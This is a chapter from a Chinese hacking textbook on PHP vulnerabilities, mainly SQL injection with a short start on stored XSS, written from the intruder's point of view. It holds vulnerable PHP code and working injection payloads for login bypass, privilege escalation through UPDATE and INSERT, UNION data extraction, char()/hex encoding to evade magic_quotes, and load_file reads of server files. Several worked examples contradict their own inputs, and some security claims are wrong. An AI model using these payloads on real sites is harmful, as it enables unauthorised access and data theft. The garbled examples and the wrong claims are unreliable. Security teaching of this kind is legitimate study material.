第十章 PHP程序常见漏洞
第二章中介绍了 PHP 下的各种黑客技术,相信已经对 PHP 下的常见黑客技术都有了一个基本的了解,至少在漏洞的利用和操作上有了一定的认识。而在第九章中,为大家介绍了
PHP 的基础知识,对于 PHP 中与安全相关的知识点基本上都讲解到了。所以本章就是在前面这两章的基础上,开始着 PHP 程序漏洞的分析与利用之旅!
学习完了本章,我们就能够分析 PHP 系统中的漏洞了。有的时候,我们虽然发现了 PHP系统中的漏洞。不过很多情况下,由于 php.ini 的配置及服务器相关设置,就算你发现了程序的漏洞,利用也是不一定成功的,需要有很多的条件,这就是为什么 PHP 要比ASP 安全的原因之一。所以在分析程序漏洞的时候,我不仅仅只程序的漏洞上还会涉及到一些配置,因为他们经常是漏洞是否利用成功的关键。
在 PHP 环境中,现在不仅仅有很多网站采用的后台数据库是 MySQL,而且越来越多的网站采用的是文本数据库。这两种数据库在有的时候利用上也是存在一定的差异的,在后面回具体讲解。
PHP注射漏洞
对于脚本来说注入漏洞是最为常见的,也是最大的漏洞之一。在 PHP 的环境中,同样存在注入漏洞,不过我们一般更加习惯称之为注射漏洞。
前面对于注射(注入)漏洞已经多次在 ASP 程序中提及到了,虽然这里是 PHP 环境。但是,他们出现的本质原因都是因为程序没有对我们输入的参数进行过滤就进行查询数据库操作了。虽然在第 2 章中介绍手工注入的时候,把注入是从数据库的角度上划分的。但是仍然是与所处的语言环境有一定的关系。
下面我们来看一下 PHP 程序中最典型的注射漏洞代码,如下所示:
$id=$_GET["id"];
$query="SELECT * FROM my_table where id='".$id."'"; //很经典的 SQL 注入漏洞
$result=mysql_query($query);
参数$id 通过$_GET 方式访问表单域 id 中的内容,利用它可以获得我们输入 id 参数的值。而$id 在没有经过任何过滤情况下,就用字符串连接符(.)连接到了数据库查询代码中,然后就执行了数据库查询。所以对于参数 id 我们可以构造任何数据,从而出现了经典的注
射漏洞。
我们已经知道,在 PHP 中目前获得客户端输入的数据不仅仅只有$_GET 这一种方式。还可以采用$_POST 和$_REQUEST 方式获得数据,所以对于上面的$id=$_GET["id"];还可以改成
$id=$_POST["id"];或$id=$_REQUEST["id"];,不过他们依然存在注射漏洞,只是获取客户端数据的方式不同而已。
这里,我们假设参数 id 的正确值为 10。当我们只提交 id=10 时,查询语句$query 就等于 SELECT * FROM my_table where id=10,执行结果就是返回 id=10 所包含的信息。当然,我们当然不会那么听话,只输入id=10。比如我们输入id=10',则$query 就等于SELECT * FROM my_table where id=10'。因为我们知道在数据库中的参数 id 是不可能有一个 10’的值,所以执行的结果肯定出错,这也是为什么如果存在注入漏洞的时候我们输入单引号页面就会返回错误的原因,这个时候就可以初步判定它存在注入漏洞。而如果我们输入 id=10 and 1=1的话,则$query 就等于 SELECT * FROM my_table where id=10 and 1=1,前面大家已经知道了 and 的运算规则了,因为 SELECT * FROM my_table where id=10 执行的结果为真,1=1也为真,那么真 and 真运算之后还是为真,所以添加输入 and 1=1 返回的结果依然为真。可是我们输入 id=10 and 1=2 呢?$query 就等于 SELECT * FROM my_table where id=10 and 1=2,因为 SELECT * FROM my_table where id=10 为真,1=2 为假,即真 and 假,所以执行的结果为假。这也是为什么添加输入 and 1=2 返回的结果为错误的原因。所以通过单引号、 and 1=1、and 1=2 我们就可以判断一个网站是否存在注射漏洞。
在 ASP 中介绍注入漏洞的时候虽然把注入分的比较细,但总的来说是分为数字型和字符型两种。而在 PHP 中的注射方式也划分为数字型和字符型两种,在这点上他们是相通的。下面也就从数字和字符两个角度来详细讲解 PHP 下的注射攻击。
PHP下的数字型注射漏洞代码分析
数字型的参数几乎在每一个 PHP 系统都是存在的,而又以在 URL 中出现的最为频繁。如果系统没有对数字型参数进行有效的检测的话,就会发生注射问题。下面我们来看看一个在数字型参数中常见的注射代码,如下所示:
$blogid=$_REQUEST[blogid]; if (!isset($blogid)){
$blogid=1;
}
$query_sql="SELECT * FROM article where id='".$blogid."'";
$result=mysql_query($query_sql);
$pageurl = './?blogid='.$blogid;
参数 blogid 在通过$_REQUEST 方式获得其数据之后,用 isset()函数判断是否存在这个参数值。如果不存在,则把$blogid 的值设置等于 1。而后就放入到了数据库查询语句中,执行该查询,最后在 URL 中输出该参数下的信息。
上面的参数 blogid 仅仅只是验证了其是否存在,如果存在的话,就放入数据库中进行查询。而并没有检测 blogid 中我们到底输入了什么数据,即没有检测输入数据的合法性,这就意味着我们只要输入数据就会执行数据库查询操作。这就引发了注射漏洞的出现,利用该参数我们可以查询数据库中的任何信息。
假设使用这个系统的网站为 http://www.xxx.com/,其后台数据库是 MySQL,出现注射漏洞的页面为 index.php,且$blogid 的值等于 5。那么存在注射漏洞的 URL 地址为:
http://www.xxx.com/index.php?$blogid=5 。 当 我 们 输 入 http://www.xxx.com/index.php?$blogid=5 and 1=1 和 http://www.xxx.com/index.php?$blogid=5 and 1=2 就可以判断出这个系统存在注入,在前面已经为大家介绍了。
要 判 断 后 台 数 据 库 是 否 为 MySQL , 输 入
http://www.xxx.com/index.php?$blogid=5/*hack,那么到了数据库中就变成了 SELECT * FROM article where id=5/*hack;。因为 MySQL 支持/*注释,所以它会把/*hack 当作解释来处理。那么输入$blogid=5/*hack 与输入$blogid=5 是一样的,结果自然也就返回是正确的,不过支持/*解释的也只有 MySQL 数据库一种,所以可以利用这个特性来判断是否是 MySQL数据库。对于更多的手工注入方法这里就不在重复了,不清楚的话可以参考第二章。只是大家要明白,我们在手工注入过程中输入的那些额外数据,如 and 1=1、and 1=2 等等。他们都是被放入到了数据库执行的语句中去执行了,从而获得更多规定以外的数据。归根到底就是没有过滤参数的数据。
在 PHP 中要防止数字型注射漏洞是比较简单的,我们可以用到 PHP 自带的一些函数。例如使用转义字符串函数 addslashes(),提交的变量中所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。例如,我们输入$blogid=5',使用函数 addslashes()之后,它就会把$blogid=5'转换成$blogid=5\',这样我们的注射就根本没办法进行下去了,彻底的断绝了注射攻击。所以上面的代码,我们可以改成:
$blogid= addslashes($_REQUEST[blogid]);
//使用addslashes()函数对参数所有的单引号、双引号、反斜杠、and、空字符都进行转义 if (!isset($blogid)){
$blogid=1;
}
$query_sql="SELECT * FROM article where id='".$blogid."'";
$result=mysql_query($query_sql);
$pageurl = './?blogid='.$blogid;
那么使用了 addslashes()函数对输入的参数 blogid 转换之后,就可以彻底防止注入漏洞的存在。
还有一种办法也可以彻底断绝数字型注射漏洞,使用函数 intval()对输入的数据进行转换。该函数的作用是把数据进行强制转换成数字型,比如输入$blogid=5',使用函数
intval($blogid),它就会把 5'强制性的转换成数字 5。使用该函数后,所有的数据都会被转换成数字。所以对于数字型参数,只要使用了这个函数那么不管参数是什么都被转换成数字。那么同样可以彻底防止数字型的注射攻击,所以上面的代码,我们还可以改成:
$blogid=intval($_REQUEST[blogid]);
//使用intval()函数对输入的参数值全部强制性转换成数字 if (!isset($blogid)){
$blogid=1;
}
$query_sql="SELECT * FROM article where id='".$blogid."'";
$result=mysql_query($query_sql);
$pageurl = './?blogid='.$blogid;
上面的代码都是由我自己写的,虽然其存在注射漏洞,但是缺乏一定的实战性。这里为大家初步分析一下系统中存在的注射漏洞,这是一个叫南部弯的 PHP 论坛中存在的注射漏洞代码,如下所示:
...........................省略代码
$bdid = $_GET["bdid"]; //通过$_GET 方式获得参数 bdid
$bbsid = $_GET["bbsid"]; //通过$_GET 方式获得参数 bbsid
$sql="SELECT btable, name, page FROM board WHERE id=". $bdid;
//参数 bdid 没有经过任何的处理就放入数据库中查询,第一个注射漏洞
$board = $db->fetch_array($sql); //执行查询语句
........省略代码
if(($display <> $_self) && ("display.php" <> $_self)){
$db->close();
exit("<metahttp-equiv=\"refresh\" content=\"0;URL=".$display."?bdid=".$bdid."&bbsid=".$bbsid."\">");
//参数bdid 和 bbsid 都是在 URL 中
}
if($online_enable == "on"){
$online=new onlclass;
$online->insert($db,$time,$main."?bdid=$bdid",$id,$name);
}
$sql="SELECT title, txt, up, super, recommendation, locked, userid, username, tim, readtimes, penname, upload_pic, upload_file FROM ". $_btable ." WHERE id=". $bbsid;
//参数 bbsid 没有经过任何处理就放入数据库中查询,第二个注射漏洞
$bnum = $db->fetch_rows($sql); // 执 行 查 询 语 句 if($bnum == 0){
$db->close(); // 执 行 错 误 的 话 , 就 输 出 您 浏 览 的 帖 子 已 经 被 删 除 , 或 者 参 数 有 误 ! exit("<meta http-equiv=\"refresh\"
content=\"5;URL=first.php\"><center><h3><font color=#ff0000>您浏览的帖子已经被删除,或者参数有误!</font></h3></center>");
}
上面的参数 bdid 和 bbsid 都是在通过$_GET 方式获得数据后就直接插放入数据库进行查询操作了,完全考虑到参数的安全问题,自然注射漏洞也出来了。而且这两参数都是存在于 URL 中,所以进行攻击非常的方便,如图 10-1 和图 10-2 所示,测试了该参数没有过滤,注射漏洞出现。在后面可以用手工或工具进行渗透了。
图 10-1 加and 1=1 返回正常
图 10-2 执行错误,显示“您浏览的帖子已经被删除,或者参数有误!”
上面我举的例子,数字型参数是在 URL 中,而在真正的系统分析中,数字型参数就不仅仅存在于 URL 中了。对于这样的数字型注射漏洞,首先是要找到它在服务器中是在何处被获取的、采用什么方式,如图 10-3 所示,查找到了参数 id 是通过$_REQUEST 方式获得的。有了这个参数之后,我们就是要看这个数字型参数是被如何处理的,我们可以一路跟踪这个参数的走向。使用记事本的查找功能可以很快完成这个跟踪工作,如图 10-4 所示,参数直接就放入了到了数据库中查询了,这样就轻易的发现了一个注射漏洞。至于接下来的工作就是进行注射攻击了,你可以采用工具或者手工,这些在第二章相信大家已经学会了。
图 10-3 通过$_REQUEST 方式获取数字型参数
图 10-4 参数$order_id 直接放入到数据库查询
PHP中的字符型注射漏洞代码分析
字符型参数在 PHP 引用也是非常的广泛,比如调用一个文件参数、搜索等功能的使用上。和 ASP 下的注入攻击一样,PHP 的很多程序员也是不太注意对字符型参数的过滤。虽然字符型参数的注射攻击比数字型攻击要麻烦一点,但依然是光芒四射。
字符型注射漏洞的代码很多,这里我就以搜索功能的代码来为大家讲解字符型注射漏洞的利用。在 PHP 下要实现搜索仍然是要用到 LIKE 操作符及通配符,对于 PHP 中搜索的所
用的 SQL 基础和 ASP 下的一样的,而且如何寻找一个系统中是否存在搜索功能及漏洞的方法和 ASP 中也是非常类似的,这里就不重复了,要学会灵活运用。存在漏洞的代码如下所示:
$key=trim($_REQUEST['key']);
//通过$_REQUEST 方式获取我们输入的搜索关键字,并过滤两边的空格
$type=trim($_REQUEST['type']);
//通过$_REQUEST 方式获取我们选择要搜索的类型能够,并过滤两边的空格
$page=intval($_GET['page'])?intval($_GET['page']):1;
//通过$_GET 方式获取页面数,并通过 intval 函数转换,如果转换失败,把 page 设置等于 1
$psize = $setting['searchnums']; //每页显示记录数
$start=($page-1)*$psize; //计算每一页要显示的纪录数
//echo $type,$key;
if($type=="title"){ //如果 type 等于 title 的话,就执行下面的查询
$sql="SELECT id,sid,posticon,title,top,author,visits,addtime,weather FR
OM
".$table_prefix."blog WHERE title LIKE '%$key%' ORDER BY id DESC LIMIT $start,$ psize";
y%'";
}
$total_sql="SELECT id FROM ".$table_prefix."blog WHERE title LIKE '%$ke
//$key 没有经过任何的过滤就进行数据库查询,下面也是如此
elseif($type=="content") { //如果 type 等于 content 的话,就执行下面的查询
$sql="SELECT id,sid,posticon,title,top,author,visits,addtime,weather FR
OM
".$table_prefix."blog WHERE content LIKE '%$key%' ORDER BY id DESC LIMIT $start,
$psize";
$total_sql="SELECT id FROM ".$table_prefix."blog WHERE content LIKE '%$ key%'";}
elseif($type=="comment") { //如果 type 等于 comment 的话,就执行下面的查询
$sql="SELECT blogid,content FROM comment WHERE content LIKE '%$key%' OR
DER BY
id DESC LIMIT $start,$psize";}
elseif($type=="gbook") { //如果 type 等于 gbook 的话,就执行下面的查询
$sql="SELECT id,title FROM guestbook WHERE content LIKE '%$key%' ORDER BY id DESC LIMIT $start,$psize";}
可以看到参数$key 没有经过任何的过滤和检查就放入到了数据库的查询中,并且通过
LIKE 操作符号及%通配符实现搜索功能的模糊查询。字符型的注射漏洞不比数字型那么方便,因为它要用单引号绕过一些诸如单引号之类的符号的封锁,这一点在 ASP 下的字符型注入中已经说的很明白了,在 PHP 中是一样的。
上面的字符型注射漏洞我们可以用“关键字%' and 注射代码 and '%”来完成注射攻击,输入它之后整条查询语句就边成了“SELECT id,title FROM gu estbook WHERE content LIKE ' %关键字%' and 注射代码 and ' %%'”。我们只要保证 SELECT id,title FROM guestbook WHERE content LIKE '%关键字%'执行的结果为真,即要保证我们输入的关键字能
够在网站中搜索到,那么我们就可以进行注射攻击。转换成逻辑运算符为“真 and 注射代码 and 真”。比如我们把注射代码换成 and 1= 1 那么就会变成“真 and 真and 真”,结果自然返回正常页面了。而如果换成 and 1=2 那么就变成了“真 and 假 an d 真”,结果为假,返回页面自然是错误的了。在例如,关键字我们输入 BLOG,注射代码输入(select top 1 asc(mid username,1,1)) from admin=97,即“BLOG%' and (select top 1 asc(mid username,1,1)) from a dmin=97 a nd ' % ”。 那 么 执 行 后 语 句 就 变 成 了 “ SELECT id,sid,posticon,title,top,author,visits,addtime,weather FR OM " .$table_prefix."blog WHERE tit le LIKE 'BLOG%' and (select top 1 asc(mid username,1,1)) from admin=97 and '%' ORDER BY id DESC LIMIT $st art,$psize ”,执行的结果肯定是错误的了, 因为(select t op 1 asc(mid username,1,1)) f rom a dmin=97 是在 ACCESS 数据库注入中使用的注入攻击代码,在后台为
MySQL 的数据库中执行肯定为错误,自然就变成了“真 and 假and 真”,返回错误页面,如图 10-5 所示。
图 10-5 搜索注射执行错误
是不是可以发现它和我们一般的 PHP 注入攻击是差不多呢?说实话,只是稍微变通了一下,技术上并没有更新。如果还有什么不明白的地方,可以参考 ASP 搜索注入中的基础知识,在这点上他们是相通的。
对于 PHP 下的字符型注射漏洞当然远远不止搜索了,在 ASP 下还给介绍了输入框和隐藏域 HIDDEN 下的字符型注入代码分析。其实,如果大家对 HTML 还是非常熟悉的话,就会发现不管是搜索、输入框还是隐藏域 HIDDEN 他们都是属于 input 标签。因为只有这个标签,我们才能够输入数据与服务器进行交互。所以 ASP 下的字符型注入攻击与 PHP 中的除了 ASP 与 PHP 代码的差别之外,其他的地方都是一样的。我们前面介绍的各种技巧也是适合 PHP 下的注射攻击的。
例如,input 最为常见的就是一个输入长度的限制,如下代码所示,输入限制在 12 个字
符:
<form action="http://65.109.213.64/blog/search.php" name="search" method="post">
<input type="hidden"name="action"value="do">
<table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
<tr>
< td valign= "top"align= "center"><select name= type>
<option value="title">标题</option>
<option value="content">内容</option>
</select>
<input type="text" size="12"name="key"value=""><input type="submit" value="搜索"class="bginput">
//限制输入 12 个字符
</td>
< /tr>
</table>
</form>
不管它的服务器端是那种脚本语言,我们只需要修改 input 标签的 size 属性就可以突破输入限制,例如改成 size=10000。还有就是查找代码中存在的字符型注射漏洞的技巧,也是可以相通的。对于字符型的注射漏洞,使用函数 addslashes()仍然可以可以彻底断绝。
其实,在 PHP 下要寻找系统中的注射漏洞还有一个更好的办法,就是搜索字符“$”。因为我们知道 PHP 中的变量都是字符$开头的,所以搜索$就可以找到所有字符,包括参数。因为目前大多数的 PHP 系统采用的都是中等风格(即$_GET、$_POST、$_REQUEST)来获得客户端输入的数据。所以搜索$_GET、$_POST、$_REQUEST 这三个关键字就可以很快的找出所有客户端与服务器交互的参数,如图 10-6 所示。
图 10-6 搜索客户端与服务器交互的参数
在上图中,我们搜索关键字“$_REQUEST”得到了参数 id 与服务器的交互。在通过
$_REQUEST 方式获得客户端输入的 id 之后,把 id 的值赋给了$id。那么接下来,我们就是要看参数$id 是任何在服务器中处理的。所以我们搜索参数$id,如图 10-7 所示。
图 10-7 查看参数$id 是如何处理的
可以很清楚的看到,参数$id 在图 10-6 中从客户端获取后,就直接直接了放入了数据库更新操作中去了,如图 10-7 所示。参数$id 并未做任何处理就执行了更新操作,按照在 ASP中学习的知识,这就应该发生了一个跨站漏洞了。
相信有了上面对关键字的搜索,可以很快的找出所有的参数,进而一步步的跟踪。所以要发现漏洞也不是太难,方法和技巧可以让你事半功倍。写到这里,恐怕会有很多人会讲。这里讲的 PHP 注射漏洞代码分析怎么和 ASP 下的差不多。唯一的区别就是由 ASP 环境换成了 PHP 环境,如果仅仅只看了上面的确实如此。不过在 PHP 环境下的注射远远没有那么简单,这是因为 php.ihi 配置的一些原因,下一节就来详细介绍。
配置选项对注射攻击的影响
PHP 下的注射攻击比起其他脚本语言来,要复杂一些。究其原因就是 PHP 的配制文件
php.ini 中的一些选项所致。
在上一章中讲 php.ini 配置文件的时候就提到了 magic_quotes_gpc 选项。这个选项如果启用的话,即 magic_quotes_gpc=on。那么那么它就会实现 addslshes()和 stripslashes()这两个函数的功能,其中 addslshes()就是对输入参数中的单引号、双引号、and、空格等字符在其前面添加反斜杠(\),达到转换的目的。而函数 stripslashes()就是在字符输出前去掉字符前面的反斜杠,这两个函数的功能恰好相反。gpc 表示 GET、POST 和 cookie,这就意味着来自这些方法和方式的变量将全部会自动进行转换。
试想一下,如果 PHP 配置文件中启用了它,那么输入的注射攻击代码就会被全部转换。那么,那么就会给我们的注射带来非常大的麻烦。在 PHP4.0 及以上的版本,对于 magic_quotes_gpc 这个选项默认情况下是启用的,即 magic_quotes_gpc=on。这也就使得在
PHP4.0 版本以后的注射攻击上显得微不足道了。所以在 PHP4.0 以后版本中,就算 PHP 程序中的参数没有进行过滤,PHP 系统也会对其进行自动的转换。这样就大大提高了 PHP 系统的安全性。magic_quotes_gpc 这个选项只有在 4.0 以下版本版本中默认才是关闭的,即
magic_quotes_gpc=off。
所以,在 PHP 的注射攻击中,受到服务器配置的影响比较大。影响注射攻击的配置选项还有 safe_mode 和 display_errors 这两个。safe_mode 是表示是 PHP 的安全模式,在 PHP4.0以后版本默认是关闭的,即 safe_mode = Of f,如图 10-8 所示;display_errors 选项的作用是用于返回错误,当 display_errors 打开时,即 display_errors=on 时,如果 PHP 执行错误的话就会返回错误的信息,那么对于我们入侵者来说,这就会得到很多敏感信息。而如果设置
display_errors=off 的话就不会返回错误信息,在 PHP4.0 及以后版本中,这个选项默认是启用的,如图 10-9 所示。
图 10-8 safe_mode 默认为off
图 10-9 display_errors 默认为 on
接下来我们再来详细讨论注射攻击,从两个角度来划分,一是 magic_quotes_gpc=off;二是 magic_quotes_gpc=on。
1、magic_quotes_gpc=off
在 PHP4.0 及以下的版本中, magic_quotes_gpc 默认情况下是为 off 。如果
magic_quotes_gpc=off 的话,那么注射攻击将会变的非常的严重。那么这个时候的注射攻击就和在 ASP 下一样,只要有一个参数没有被过滤,我们就可以对其进行注射攻击。对于 select上的注射攻击,和 ASP 下是一样的,而且前两节已经多次用代码和例子介绍了。
所以下面主要就用 update 和 insert 语句来谈谈当 magic_quotes_gpc=off 时的注射攻击。在第 5 章中介绍 update 语句的时候我们已经知道,UPDATE 是用新值更新现存表中行的列,
SET 子句指出哪个列要修改和他们应该被给定的值,WHERE 子句,如果给出,指定哪个行应该被更新,否则所有行被更新。它不仅可以用来对文章的修改还能够用来修改用户的信息,试想一下如果没有对我们输入的数据进行过滤和转换,那么是不是可以用来修改用户信息,从而达到越权操作的目的呢?为了更加的说明这个问题,这里我先建一数据表,它的结构如下所示:
CREATE TABLE users(
userid int(10) NOT NULL, username varchar(25), password varchar(25),
e-mail varchar(30), order sz,
PRIMARY KEY (userid)
)
其中 order 表示用户的等级,0 表示超级管理管理员,1 表示普通普通管理员,2 表示普通会员。而在 PHP 系统中,它是这样被更新数据的,代码如下所示:
...........省略代码
$sql = "UPDATE users SET password='$password', email='$e-mail' WHERE id='$userid'"
...............
这里假设所有的数据都没有经过转换,那么现在开始我们的注射攻击吧。这里我的
userid 为 10,密码为 123456,电子邮件是 zengyunhao0@gmail.com,但是我确不输入
zengyunhao0@gmail.com 而是输入 zengyunhao0@gmail.com',order='1。那么整条 SQL 语句就变成了 UPDATE users SET password='123',email='netsh@163.com',order='0' WHERE id='10'。
看看我们的 order 就是 0 了,变成了超级管理员了啊。不过这里需要注意的是如果一个单引号而没有单引号与之组成一对,系统会返回错误。
接下来在看看 insert 的注射攻击,insert 的语法这里就不在重复,详见第五章。INSERT就是把新行插入到一个存在的表中,INSERT ... VALUES 形式的语句是基于明确指定的值插入行,INSERT ... SELECT 形式是插入从其他表选择的行。我们在论坛注册的时候,注册一个会员,成功之后我们的会员信息就插入到了数据库中了。这里假设它的数据表的结构如下所示:
CREATE TABLE member( userid int(10) NOT NULL, username varchar(25), password varchar(25),
e-mail varchar(30), order sz,
PRIMARY KEY (userid)
)
我们假设 order 表示用户的等级,0 表示超级管理管理员,1 表示版主,2 表示普通会员,而在 PHP 系统中,数据是被这样插入到数据表中的,代码如下所示:
...........省略代码
$query = "INSERT INTO members VALUES('$id','$username','$password','$e-mail',’2 ')" ;
...............
在默认的情况下插入用户的等级是 2,但是我们可以可以做一些手脚,使得我们成为超级管理员。这里电子邮件正确的应该是输入 zengyunhao0@gmail.com,但是我确不输入 zen
gyunhao0@gmail.com 而是输入 zengyunhao0@gmail.com','1')#。那么整条 insert 语句就变成了 INSERT INTO m embres VALUES ('10','zengyunhao','123456','zengyunhao0@gmail.com','0')#',? ')
这样我们一注册就变成了超级管理员了,是不是很好玩啊。这里要给大家解释一下#符号的作用解释,在 MySQL 中有三种解释的方法,为:
# 表示注释掉本行中该符号后面的内容
-- 它的作用与#是一样的
/* ... */ 表示/*和*/中的内容全部为解释对于#号将是我们最常用的注释方法。
-- 号记得后面还得有一个空格才能起注释作用。
/*…*/ 我们一般只用前面的/*就够了
不过在 URL 中使用#注释的时候要注意了,不应该输入#而要输入 23%,因为所有的字符在 URL 中都会被 urlencode 转换,只有输入了%23 才会被转换成#。利用该解释符我们可以做非常多的事,例如下面的一个验证用户的代码:
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
这里假设没有对变量 username 中的数据进行过滤和转换,那么在用它进行验证用户登陆时,我们直接在浏览器地址框直接输入 http://www.xxx.com/xxx.php?username= a'or id =1
%23 就可以登陆后台了。在 URL 中%23 被转换成了#解释符,放入到数据库查询代码中就变成了 select * from alphaauthor where UserName='a' or id=1 #' and Password='$passwd',那么后面的 passwd 就被我们的#符号给解释掉了。其实就是等于 select * from alphaauthor where
UserName='a' o r id =1。我们来看看 or 运算符的运算规则是只要两个运算符有一个为真,那么结果就为真。因为 usernmae=a 是我们随便填的,所以 select * from a lphaauthor where
UserName='a'执行的结果肯定是为假。只要保证 id=1 的结果为真,即存在一个 id 值 1 的数。那么整条语句就变成真了,这样就顺利登陆了后台。
最后还来谈谈 union 查询,在 MySQL 在 4.0 及以后版本以后被支持。利用它我们可以实现跨表查询。在进行 union 查询的时候所有 select 的字段必须是相同的,只有相同才能够发挥 union 查询的功能,否则会出错。
比如,存在两个数据表,一个为 article 另一个为admin,他们都是存在 5 个字段。我们要对表article 进行注入时,可以这样输入select * from article where id=10 union select 1,2,3,4,5 from a dmin;即可看到表 article 中的数据了。但是对于我们入侵的时候,更需要的数据是表 admin 中的,而不是 article 中的。如果我们想得到 admin 表中的数据就应该输入 select * from article where id=10 and 1=2 union select 1,2,3,4,5 from admin;,这样执行后的结果就为表 admin中的信息了。要实现跨表查询,就应该使我们要查询的表的前面为假,所以我们要 select * from article where id=10 and 1=2 的执行结果为假,而 select 1,2,3,4,5 from admin 的结果确为真。因为 select * from article where id=10 and 1=2 为假,所以系统会自动显示其后面的结果,即显示 select 1,2,3,4,5 from admin 的结果,这样就达到了一个跨表查询的结果。当然,我们输入 select 1,2,3,4,5 from admin 只得到了 admin 表中的字段,至于怎么得到字段中的内容,其实大家已经掌握了。要猜解 admin 表中的数据只需要用 ACCESS 数据库中猜解的方法就可以了。也就是说要猜解 union 后面的 select 语句中的信息,只需要用 ACCESS 数据库的猜解方法即可。
对于 PHP 下的字符型注射,只有在 magic_quotes_gpc=Off 的情况下进行了,当 magic_quotes_gpc=on 时就彻底的断绝了字符型的注射攻击。因为我们提交的变量中所有的 ' (单引号)、(双引号)、\ (反斜线) 和 空字符会自动转为含有反斜线的转义字符,这就使字符型注入化为泡影。当 magic_quotes_gpc=On 时,如果是数字型的参数,我们仍然是有机会进行注射攻击的,下面就来简单介绍。
2、magic_quotes_gpc=On
对于 magic_quotes_gpc 设置为 on 时,PHP 系统的安全性就提高了很多。不过我们仍然有机会突破,这是当参数为数字型的时候,不过前提是我们的数字型参数没有经过 Intval()函数的处理,因为经过了 Intval()函数处理,所有的数据就都会强制转换成数字。因为数字型没有用到单引号所以可以绕过 addslashes()函数的转换了。
因为在magic_quotes_gpc=on 时会对所有的' (单引号)、(双引号)、\ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。所以在 magic_quotes_gpc=on 的环境下进行数字型注射攻击时,必须要避免这些字符的出现。这个时候需要使用到 char()这个函数,它将参数解释为整数并且返回由这些整数的 ASCII 代码字符组成的一个字符串。当然也可以不用这个函数而改用十六进制表示,不过用十六进制表示必须在数字前面加上 0x,这里为了方便,我已经提供了一个转换工具,如图 10-10 所示。
图 10-10 ASCII 和十六进制转换工具
这里我给大家 还是举前 面怎么绕 过验证进 入后台的 例子吧, 看看 在
magic_quotes_gpc=on 时我们是如何进入后台的,数据库的验证代码如下所示:
$query="select * from ".$art _system_db_table['user']." w here U serName=$username and Password='".$Pw."'";
$result=mysql_query($query);
这里假设我们知道可以登陆后台的一个用户的用户名为 admin,转化成 ASCII 后是
char(97,100,109,105,110),转化成 16 进制是 0x61646D696E。那么我们只需要在 URL 中直接输入 http://www.xxx.com/xxx.php?username=char(97,100,109,105,110)%23 就可以直接登陆后台了。它在数据库中就变成了 select * from admin where UserName=char(97,100,109,105,110)# and Password=''。即 select * from admin where UserName=char(97,100,109,105,110),因为存在 admin,所以 select * from admin where UserName=char(97,100,109,105,110)执行为真,使得我们顺利进入了后台。
当然咯,我们也可以这样构造 http://www.xxx.com/xxx.php?username= 0x6 1646D696E
%23。SQL 语句就变成了 select * fr om adm in w here U serName= 0x61646D696E%23# and Password='',这样我们又一次的进入了后台。
我想,大家应该还记得前面介绍 load_file()函数的时候吧,利用这个函数我们可以轻易的读取出服务器上的内容。那么在 magic_quotes_gpc=on 时该如何利用?和前面的注射一样,要把字符转换成数字,一般习惯上转换成十六进制。load_file()函数的使用格式是 load_file('文件路径'),我们只需要文件路径转换成 ASCII 码或者十六进制即可。
例如load_file('c:/boot.ini')转化成 ASCII 为load_file(char(99,58,92,98,111,111,116,46,105, 110,105));转换成十六进制为 load_file(0x633A5C626F6F742E696E69),把它放到数据库中
就变成了 select * fro m articl e w here i d=10 and 1=2 union se lect 1 , load_file(0x633A5C62 6F6F742E696E69),3,4,5 fro m adm in。那么它就会读取 windows 下的配置文件 boot.ini 文件了。
现在你应该知道了在 PHP 下进行注射攻击是比较麻烦了吧!它不仅受到了代码安全性的影响对 php.ini 也是受到了很多的限制。特别是现在基本上大部分网站采用的 php 版本都是 4.0 以上的了,默认情况下 magic_quotes_gpc=on 使得 PHP 下的注射攻击就显得不是那么微不足道了,不过这个漏洞我们依然要特别注意。下面在来谈谈怎么防止注射漏洞的产生。
因为程序员在开发 PHP 系统的时候不可能考虑到是架构在哪一个版本的 PHP 服务器上,也就是说该 PHP 系统可能被架构在 PHP4.0 版本以下也可以架构在 4.0 以上。所以为了防止注射漏洞的发生,首先就要判断用 get_magic_quotes_gpc()函数判断 magic_quotes_gpc是否打开,如果没有打开就应该使用 addslashes()函数进行转换。如果打开则不需要使用
addslashes()函数转换,因为系统自动会转换。这样不管 PHP 系统架构在哪个版本中,它都会输入的数据进行进行转换了,实现的代码如下所示:
if (!get_magic_quotes_gpc()) { //判断get_magic_quotes_gpc()打开
$_POST['userid'] = addslashes($_POST['userid']);
$_POST['username'] = addslashes($_POST['username']);
$_POST['e-mail'] = addslashes($_POST['e-mail']);
}
else {}
如果 magic_quotes_gpc 打开了 则 get_magic_quotes_gpc() 就 会 返回假 。 而在这 里!get_magic_quotes_gpc()表示为真,这样如果关闭了就用 addslashes()函数进行转换。从而达到不管是哪种都得到了转换的目的。
上面也和大家说了,就算 magic_quotes_gpc=on,如果是数字型参数我们仍然有机会进行注射攻击,所以对于系统中所有的数字型参数如果仅仅是用 addslashes()函数进行转换是不够的,我们也不需要使用这个函数来转换。因为 PHP 下有一个更好的函数,它就是 intval()。要实现数字型参数的安全,就必须在任何的数字型参数放入数据库之前使用 intval()对参数进行强制性转换成数字。这样,不管它原来参数中是什么数据,经过了 intval()强制转换都变成了数字,这样就彻底的断绝了数字型注射漏洞的产生了。
上面就是简单为大家介绍了一下 PHP 下的注射方面的知识,相对与 ASP 来说,它要复杂很多,受到的限制也比较多。但是,不管怎么样,只要我们利用好了,依然可以有很大的危害性。
脚本跨站漏洞
不管是 PHP 环境还是 ASP 环境,跨站的原理都是一样的。前面已经多次介绍了该漏洞的原理,这里就不在重复了,如果还有什么不清楚的地方可以参考第四章。因为出现跨站漏洞的前提必须是要我们输入的跨站代码被存储在了后台数据库中,所以能够出现跨站漏洞的地方只有两个,一个是 UPDATE 语句、另一个是 INSERT。所以如果在执行这两个语句中的参数没有过滤的话就会出现跨站漏洞。下面直接分析 PHP 程序中存在跨站漏洞的代码,如下所示:
$set1 = $_POST["set1"];
$set2 = $_POST["set2"];
$penname1 = $_POST["txt1"];
$penname2 = $_POST["txt2"];
……………省略代码 if($set1 == "y"){
$db->query("UPDATE online SET penname1='". $penname1 ."' WHERE userid='".
$id ."'");}
//如果参数$set1 等于 y 就直接更新 penname1 的内容,没有过滤,跨站漏洞出现 if($set2 == "y"){
$db->query("UPDATE online SET penname2='". $penname2 ."' WHERE userid='".
$id ."'");}
